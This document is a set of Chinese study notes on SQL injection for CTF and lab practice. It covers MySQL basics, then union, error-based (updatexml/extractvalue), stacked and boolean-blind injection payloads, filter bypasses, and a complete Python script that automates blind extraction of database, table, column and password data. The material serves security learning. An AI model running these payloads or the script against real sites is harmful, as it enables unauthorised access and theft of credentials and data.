0%

SQL注入

SQL注入

一个搞了一晚上的坑

使用SQLyog时连接不上出现1045错误,然后按照搜索出来的方法,打开PHP study关闭他的MYSQL在MYSQL文件内找到my.ini打开文件查找到 [mysqld] ,在其下方添加上一行 skip-grant-tables,然后保存。再重启MYSQL即可连接成功

MYSQL

链接数据库

1
mysql -u username -p;//用户名和密码

使用数据库,必须现使用use打开数据库才能读取其中的数据

1
USE 库名;

返回当前选择的数据内可用表的列表

1
SHOW TABLES;

也可以用来显示表列

1
SHOW COLUMNS FROM 库名;//表名

命令行

– :注释

id=1’报错即为字符型注入

要找到注入点

order by 后面加数字

group by + 数字,确定列数

-1’ union select 1,database()# 前面的-1 空出回显位

表名

  • information_schema

SCHEMATA表,当前root中所有数据库的信息,一般用来查到表名

TABLES表:记录用户所有数据库名(TABLE_SCHEMA)和表名(TABLE_NAME)

columns表:提供表中的列信息

首先确定注入点–>找到回显位置–>

floor()报错

extractValue报错

?id=-1’ union select 1,2,extractvalue(1,concat(0x7e,(select database()))),3 –+

extractValue(列名,’/查询内容路径/‘)当斜号改成别的符号,就会报错执行回显

1
select extractvalue(doc,concat(0x7e,(select database())));

conccat拼接,0x7e是~的编译,extractvalue括号内的内容即为正常查询的内容,但是默认只返回32个字符

substring(内容,从哪个字符开始显示,一次显示几个字符)

?id=-1’ union select 1,2,extractvalue(1,concat(0x7e,(select database()))),3 –+

updatexml报错

updatexml(‘XML_document’,’Xpath_string’,’New_value’)

//即

updatexml(‘目标xml文件名’,’在xml中查询的字符串’,’替换后的值’)

1
and updatexml(1,concat(0x7e,database()),0)//select 语句需要用括号括起来

?id=1’ and updatexml(1,’~’,3) – a 判断是否为报错注入

SQL注入

数据库

  • information_schema

SCHEMATA表,当前root中所有数据库的信息,一般用来查到表名

TABLES表:记录用户所有数据库名(TABLE_SCHEMA)和表名(TABLE_NAME)

columns表:提供表中的列信息

命令

SELECT WHERE

语法

SELECT column_name,column_name(列名称)

FROM table_name(表名称)

WHERE column_name operator value;字段名称,数据满足什么条件类似if语句

(if(。。。。=。。

printf(…)

image.png

CREATE DEATABASE语句,创建数据库

在 MySQL 中,可以使用 CREATE DATABASE 语句创建数据库,语法格式如下:
CREATE DATABASE [IF NOT EXISTS] <数据库名>
[[DEFAULT] CHARACTER SET <字符集名>]
[[DEFAULT] COLLATE <校对规则名>];
[ ]中的内容是可选的。语法说明如下:
<数据库名>:创建数据库的名称。MySQL 的数据存储区将以目录方式表示 MySQL 数据库,因此数据库名称必须符合操作系统的文件夹命名规则,不能以数字开头,尽量要有实际意义。注意在 MySQL 中不区分大小写。
IF NOT EXISTS:在创建数据库之前进行判断,只有该数据库目前尚不存在时才能执行操作。此选项可以用来避免数据库已经存在而重复创建的错误。
[DEFAULT] CHARACTER SET:指定数据库的字符集。指定字符集的目的是为了避免在数据库中存储的数据出现乱码的情况。如果在创建数据库时不指定字符集,那么就使用系统的默认字符集。
[DEFAULT] COLLATE:指定字符集的默认校对规则。

image.png

创建完后刷新一下侧边栏才能看到

creat table 创建表

create 表名(
列名1 定义字段的数据类型 ,
列名2 类型,
列名3 类型)

一个简单的建表格式,其中:

  • 字符串类型(char,varchar)需要指定长度;
  • 整型(int,biging,tinyint等)和日期类型(datetime,timestamp等)只需要指定类型,不需要指定长度;
  • decimal类型需要指定精度和小数位数。

image.png

数据插入,增

1
2
3
4
5
INSERT INTO TABLE_NAME (column1, column2, column3,...columnN)
VALUES (value1, value2, value3,...valueN);
//table_name 表名
colimn 字段名
value 字段数据

写明column就会一一对应,没写就会按照顺序依次赋值

注字符要用单引号,否则会报错

image.png

这样就创建成功了使用select*from t1即可查看

1
2
DELETE FROM table_name//表名
WHERE some_column=some_value;//条件

用于删除表中的行

image.png

改,update

1
2
3
4
UPDATE table_name
SET column1字段名=value1字段数据,column2=value2,...//更改操作
WHERE some_column=some_value;//条件判断

image.png

and 和or 运算符

image.png

image.png

or语句,当判断结果为真就会全部查询出来,也就是万能钥匙

image.png

union多表联合查询

image.png

结果直接拼接显示, union可以对同一个表的两次查询联合起来

image.png

用来猜测字段

SQL注入

数字型注入

1
select * from t1 where id= x

x=1 or 1=1(万能密码)

x=1 union select 1,2,3…..(一个个尝试出字段)

字符型注入

1
select * from t1 where name= 'x'

x=1’ or 1=1 #—注释掉后面多出来的单引号

解题步骤

通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX

  • 判断注入点(是否存在sql注入,如果存在属于哪种注入)
  • 判断是否存在漏洞( 最为经典的单引号判断法:在参数后面加上单引号, 如果页面返回错误,则存在 Sql 注入。
    原因是无论字符型还是整型都会因为单引号个数不匹配而报错。如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤)
  • 判断注入类型

GROUP_CONCAT()函数

将多个字符串拼接成一个字符串

image.png

联合查询

字段数->回显位置->查阅库名->表名->字段名->查阅数据

  • 查库名

SELECT DATABASE();– 能够知道当前在哪个数据库

select information_schema.SCHEMATA

查询所有库名:

‘ union select 1,group_concat(schema_name) from information_schema.schemata – ‘

-1’ union select 1,database()#

查表名

‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’数据库的名称’#

1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+

查字段

‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’

查获取字段信息

‘ union select 1,group_concat(password) from dvwa.users – ‘

空格绕过

/**/

%09

%0a等,详情参考命令执行绕过

实操

– 注释符

/**/– 一般可以用来绕过空格

SHOW DATABASES; – 显示MySQL所有数据库名称

SHOW TABLES; – 显示当前数据库中所有表的名称

SHOW TABLES FROM sys; – 作用同上 from后面加数据库名

– use 数据库名 如果数据库存在,选择进入该数据库

USE mysql;

#select 查询数据,展示

SELECT DATABASE();– 能够知道当前在哪个数据库

SELECT VERSION(); – 查询当前数据库版本,知道存在的漏洞

SELECT USER(); – 查询用户名

*代指所有的意思

#SELECT 列名称,列名称 FROM 表名称 – (从表中读取几列)

SELECT *(即所有的列) FROM TABLES;

SELECT TABLE_CATALOG FROM TABLES;

SELECT * FROM SCHEMATA ;– 当前root中所有数据库的信息

SELECT * FROM COLUMNS – 能够看到属于哪个表,哪个数据库

截断函数

位数不足,需要使用截断函数进行绕过

substr,right,REVERSE ,mid函数

SUBSTR (str, pos, len)

参数说明:

  • str为列名/字符串;
  • pos为起始位置;mysql中的起始位置pos是从1开始的;如果为正数,就表示从正数的位置往下截取字符串(起始坐标从1开始),反之如果起始位置pos为负数,那么 表示就从倒数第几个开始截取;
  • len为截取字符个数/长度。

RIGHT(string, number_of_chars)从右侧开始读取,前一个为字符串,后一个为读取的字符数量

REVERSE(string)反转字符串

MID(string, start, length)中间为从第几位开始,最后为读取的数量

堆叠注入

堆叠注入原理:利用分号作为结束符,执行多条语句

应用场景十分有限,只在MySQL中有可能出现,原理是使用了函数mysqli_multi_query()执行一个或多个查询,多个查询用分号进行分隔。

堆叠注入语句

1
2
3
4
5
6
7
8
9
10
11
#查看是数据库
';show databases;
#查看表格
';show tables;
#查看列
';show colums form '1919810931114514';
#查看数据
';select flag from '1919810931114514';

#十六进制类型绕过
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

首先判断注入类型

image.png

为字符型

image.png

判断长度为2

image.png

select被过滤,结合题目,尝试堆叠注入

image.png

用show tables产看当前数据库的表名

之后再用show columns form+\表名``查看每个表里面的字段名

image.png

由于select被过滤了,大写无法绕过,因此换用另一种方法来读取内容,数字用的是反引号不是分号

handler(句柄)

类似于指针,通过得到的表名,读取表的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
#打开句柄
handler handler_table open;
# 获取第一行数据
handler p read handler_index first;
# 获取下一行数据
handler p read handler_index next;
# 获取上一行数据
handler p read handler_index prev;
# 获取最后一行数据
handler p read handler_index last;
# 关闭句柄
handler p close;
p指代表名

payload

?inject=-1';handler \1919810931114514` open;handler `1919810931114514` read first; –+ `

image.png

报错注入

updatexml报错注入

[极客大挑战 2019]HardSQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1'or(updatexml(0,concat(0x5e,database()),0))#  
爆数据库名,原理是concat(0x5e,database())拼接而成的^test_db不是合法的Xpath路径

#查表名
1'or(updatexml(0,concat(0x5e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),0))#

#查字段
1'or(updatexml(0,concat(0x5e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),0))#

#查看值
1'or(updatexml(0,concat(0x5e,(select(group_concat(password))from(H4rDsq1))),0))#

#查后半段
1'or(updatexml(0,concat(0x5e,right((select(group_concat(password))from(H4rDsq1)),31)),0))#
使用right阶段查看后面的内容

常规payload

1
2
3
4
5
6
7
8
?id=1" union select updatexml(1,concat(0x2A,(select database()),0x2A),1)--+

select updatexml(1,concat(0x2A,(select group_concat(table_name)from information_schema.`TABLES` where table_schema='security' limit 0,1),0x2A),1) --+

select updatexml(1,concat(0x7e,(select group_concat(username)from users limit 0,1),0x7e),1)

select updatexml(1,concat(0x7e,(select group_concat(password)from users),0x7e),1)

盲注

也就是无回显注入,select语句无法回显到前端,没有页面报错和数据库具体返回值

布尔盲注,时间盲注,报错盲注

布尔盲注

函数

ascii()

用法:SELECT ascii(‘e’);#将字母转换为ASCII码值,一次只能转换单个字符

substr()

用法:substr(string, int a, int b);#从第a位截取长度为b的字符串,

substr(string, int a);#从第a为截取后面的所有字符串

length()

用法:SELECT length(‘string’)#查询字符串的长度

left()

用法:left(‘string’,n)#string为要截取的字符串,n为长度

SELECT left(‘lin’,2)

mid()

用法:mid(string,strat,length)#start为其实位置,length为截取长度

regexp

用法:(‘string’)regexp ‘^[a-z]’#用来判断字符串中的第一个字符是否是在a-z范围内

这是正则匹配,匹配力强

SELECT (‘abcd’)regexp ‘a’,结果返回为真,也就是1

like

用法: SELECT (‘abcd’)like ‘a%’,模糊匹配,结果返回为真,例如%b%,%d,此类结果均返回真

if()

用法:if(condition, true,false),SELECT if(((‘abcd’)like ‘a%’),1,0);#第一个字符为a返回真

首先判断闭合符号”,)等,判断True界面和False界面

页面提交时进行了url编码,这里的查询也要更换成%E6%9F%A5%E8%AF%A2

默认闭合号是’–+,如果不一样要注意修改

过滤关键字的话,and->&&,注意替换

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
#查询数据库长度
lili' and length((select database()))=int--+#int为数字,一直试验

#爆库
?id=1' and ascii(substr((select database()),1,1))>=ASCII码--+
?id=1' and ascii(substr((select database()),1,1))<=ASCII码--+
#用二分法将第一位字符验证出来
?id=1' and ascii(substr((select database()),2,1))>=ASCII码--+
?id=1' and ascii(substr((select database()),2,1))<=ASCII码--+
#用二分法将第二位字符验证出来以此类推最终得到所有字符
#一个个试很麻烦,可以直接bp爆破
#之后再爆表爆列得到数据

使用脚本,注意进行配置和修改

这个脚本只支持get传参,post需要增加request请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
# -*- coding:utf-8 -*-
# Author: mochu7
import requests


def ascii_str(): # 生成库名表名字符所在的字符列表字典
str_list = []
for i in range(33, 127): # 所有可显示字符
str_list.append(chr(i))
# print('可显示字符:%s'%str_list)
return str_list # 返回字符列表


def db_length(url, str):
print("[-]开始测试数据库名长度.......")
num = 1
while True:
db_payload = url + "' and (length(database())=%d)--+ &submit=查询#" % num#页面提交时进行了url编码,这里的查询也要更换成%E6%9F%A5%E8%AF%A2
r = requests.get(db_payload)
if str in r.text:
db_length = num
print("[+]数据库长度:%d\n" % db_length)
db_name(db_length) # 进行下一步,测试库名
break
else:
num += 1


def db_name(db_length):
print("[-]开始测试数据库名.......")
db_name = ''
str_list = ascii_str()
for i in range(1, db_length + 1):
for j in str_list:
db_payload = url + "' and (ord(mid(database(),%d,1))='%s')--+ &submit=查询#" % (i, ord(j))
r = requests.get(db_payload)
if str in r.text:
db_name += j
break
print("[+]数据库名:%s\n" % db_name)
tb_piece(db_name) # 进行下一步,测试security数据库有几张表
return db_name


def tb_piece(db_name):
print("开始测试%s数据库有几张表........" % db_name)
for i in range(100): # 猜解库中有多少张表,合理范围即可
tb_payload = url + "' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+&submit=查询#" % (i, db_name)
r = requests.get(tb_payload)
if str in r.text:
tb_piece = i
break
print("[+]%s库一共有%d张表\n" % (db_name, tb_piece))
tb_name(db_name, tb_piece) # 进行下一步,猜解表名


def tb_name(db_name, tb_piece):
print("[-]开始猜解表名.......")
table_list = []
for i in range(tb_piece):
str_list = ascii_str()
tb_length = 0
tb_name = ''
for j in range(1, 20): # 表名长度,合理范围即可
tb_payload = url + "' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+&submit=查询#" % ( i, j)
r = requests.get(tb_payload)
if str in r.text:
tb_length = j
print("第%d张表名长度:%s" % (i + 1, tb_length))
for k in range(1, tb_length + 1): # 根据表名长度进行截取对比
for l in str_list:
tb_payload = url + "' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+&submit=查询#" % ( i, k, ord(l))
r = requests.get(tb_payload)
if str in r.text:
tb_name += l
print("[+]:%s" % tb_name)
table_list.append(tb_name)
break
print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
column_num(table_list, db_name) # 进行下一步,猜解每张表的字段数


def column_num(table_list, db_name):
print("[-]开始猜解每张表的字段数:.......")
column_num_list = []
for i in table_list:
for j in range(30): # 每张表的字段数量,合理范围即可
column_payload = url + "' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+&submit=查询#" % (j, i)
r = requests.get(column_payload)
if str in r.text:
column_num = j
column_num_list.append(column_num) # 把所有表的字段,依次放入这个列表当中
print("[+]%s表\t%s个字段" % (i, column_num))
break
print("\n[+]表对应的字段数:%s\n" % column_num_list)
column_name(table_list, column_num_list, db_name) # 进行下一步,猜解每张表的字段名


def column_name(table_list, column_num_list, db_name):
print("[-]开始猜解每张表的字段名.......")
column_length = []
str_list = ascii_str()
column_name_list = []
for t in range(len(table_list)): # t在这里代表每张表的列表索引位置
print("\n[+]%s表的字段:" % table_list[t])
for i in range(column_num_list[t]): # i表示每张表的字段数量
column_name = ''
for j in range(1, 21): # j表示每个字段的长度
column_name_length = url + "' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+&submit=查询#" % (j - 1, table_list[t], i)
r = requests.get(column_name_length)
if str in r.text:
column_length.append(j)
break
for k in str_list: # k表示我们猜解的字符字典
column_payload = url + "' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+&submit=查询#" % (table_list[t], i, j, ord(k))
r = requests.get(column_payload)
if str in r.text:
column_name += k
print('[+]:%s' % column_name)
column_name_list.append(column_name)
# print(column_name_list)#输出所有表中的字段名到一个列表中
dump_data(table_list, column_name_list, db_name) # 进行最后一步,输出指定字段的数据


def dump_data(table_list, column_name_list, db_name):
print("\n[-]对%s表的%s字段进行爆破.......\n" % (table_list[3], column_name_list[9:12]))
str_list = ascii_str()
for i in column_name_list[9:12]: # id,username,password字段
for j in range(101): # j表示有多少条数据,合理范围即可
data_num_payload = url + "' and (select count(%s) from %s.%s)=%d--+&submit=查询#" % (i, db_name, table_list[3], j)
r = requests.get(data_num_payload)
if str in r.text:
data_num = j
break
print("\n[+]%s表中的%s字段有以下%s条数据:" % (table_list[3], i, data_num))
for k in range(data_num):
data_len = 0
dump_data = ''
for l in range(1, 21): # l表示每条数据的长度,合理范围即可
data_len_payload = url + "' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+&submit=查询#" % (i, db_name, table_list[3], k, l)
r = requests.get(data_len_payload)
if str not in r.text:
data_len = l - 1
for x in range(1, data_len + 1): # x表示每条数据的实际范围,作为mid截取的范围
for y in str_list:
data_payload = url + "' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+&submit=查询#" % (i, db_name, table_list[3], k, x, ord(y))
r = requests.get(data_payload)
if str in r.text:
dump_data += y
break
break
print('[+]%s' % dump_data) # 输出每条数据


if __name__ == '__main__':
url = "http://pikachu.com/vul/sqli/sqli_blind_b.php?name=lili" # 目标url
str = "your uid:7" # 布尔型盲注的true&false的判断因素,填写结果为真的页面
db_length(url, str) # 程序入口

方法三:使用sqlmap

时间盲注

  • 页面上没有显示位和SQL语句执行的错误信息
  • 正确执行和错误执行的返回界面一样

web页面只返回一个正常页面。利用页面响应时间不同,逐个猜解数据

参考链接:

[bookmarklink]


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/hy77756dqhakbnan
语雀文档ID: 135348752